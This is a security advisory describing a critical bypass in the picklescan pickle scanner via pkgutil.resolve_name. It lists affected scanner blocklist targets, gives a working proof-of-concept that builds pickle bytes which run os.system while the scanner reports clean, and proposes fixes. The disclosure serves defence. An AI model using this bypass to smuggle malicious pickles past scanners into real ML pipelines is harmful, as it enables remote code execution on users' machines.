PT-2026-25493 · Pypi · Picklescan
Published
2026-03-03
·
Updated
2026-03-03
CVSS v3.1
10
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Summary
pkgutil.resolve name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve name (which is not blocked) and misses the actual dangerous function entirely.This defeats picklescan's entire blocklist concept — every single entry in
unsafe globals can be bypassed.Severity
Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
How It Works
A pickle file uses two chained REDUCE calls:
1. STACK GLOBAL: push pkgutil.resolve name
2. REDUCE: call resolve name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCEpicklescan's opcode scanner sees:
STACK GLOBALwith module=pkgutil, name=resolve name→ NOT in blocklist → CLEAN- The second
REDUCEoperates on a stack value (the return of the first call), not on a global import → invisible to scanner
The string
"os:system" is just data (a SHORT BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK GLOBAL references.Decompiled Pickle (what the data actually does)
python
from pkgutil import resolve name
var0 = resolve name('os:system') # Returns the actual os.system function
var1 = var0('malicious command') # Calls os.system('malicious command')
result = var1Confirmed Bypass Targets
Every entry in picklescan's blocklist can be reached via resolve name:
| Chain | Resolves To | Confirmed RCE | picklescan Result |
|---|---|---|---|
resolve name("os:system") | os.system | YES | CLEAN |
resolve name("builtins:exec") | builtins.exec | YES | CLEAN |
resolve name("builtins:eval") | builtins.eval | YES | CLEAN |
resolve name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN |
resolve name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN |
resolve name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN |
resolve name("subprocess:check call") | subprocess.check call | YES (shell=True needed) | CLEAN |
resolve name("subprocess:check output") | subprocess.check output | YES (shell=True needed) | CLEAN |
resolve name("posix:system") | posix.system | YES | CLEAN |
resolve name("cProfile:run") | cProfile.run | YES | CLEAN |
resolve name("profile:run") | profile.run | YES | CLEAN |
resolve name("pty:spawn") | pty.spawn | YES | CLEAN |
Total: 11+ confirmed RCE chains, all reporting CLEAN.
Proof of Concept
python
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"x8c" + struct.pack("<B", len(b)) + b
# resolve name("os:system")("id")
payload = (
b"x80x04x95" + struct.pack("<Q", 55)
+ sbu("pkgutil") + sbu("resolve name") + b"x93" # STACK GLOBAL
+ sbu("os:system") + b"x85" + b"R" # REDUCE: resolve name("os:system")
+ sbu("id") + b"x85" + b"R" # REDUCE: os.system("id")
+ b"." # STOP
)
# picklescan: 0 issues
from picklescan.scanner import scan pickle bytes
result = scan pickle bytes(io.BytesIO(payload), "test.pkl")
assert result.issues count == 0 # CLEAN!
# Execute: runs os.system("id") → RCE
pickle.loads(payload)Why pkgutil Is Not Blocked
picklescan's
unsafe globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve name() can resolve ANY attribute from ANY module, making it a universal gadget.Note: fickling DOES block
pkgutil in its UNSAFE IMPORTS list.Impact
This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in
unsafe globals — is rendered ineffective. An attacker needs only use pkgutil.resolve name as an indirection layer to call any Python function.This affects:
- HuggingFace Hub (uses picklescan)
- Any ML pipeline using picklescan for safety validation
- Any system relying on picklescan's blocklist to prevent malicious pickle execution
Suggested Fix
- Immediate: Add
pkgutiltounsafe globals:
python
"pkgutil": {"resolve name"},- Also block similar resolution functions:
python
"importlib": "*",
"importlib.util": "*",- Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking
pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:
- Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching
"module:function") - Treating unknown globals as dangerous by default
- Switching to an allowlist model
Fix
Protection Mechanism Failure
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Picklescan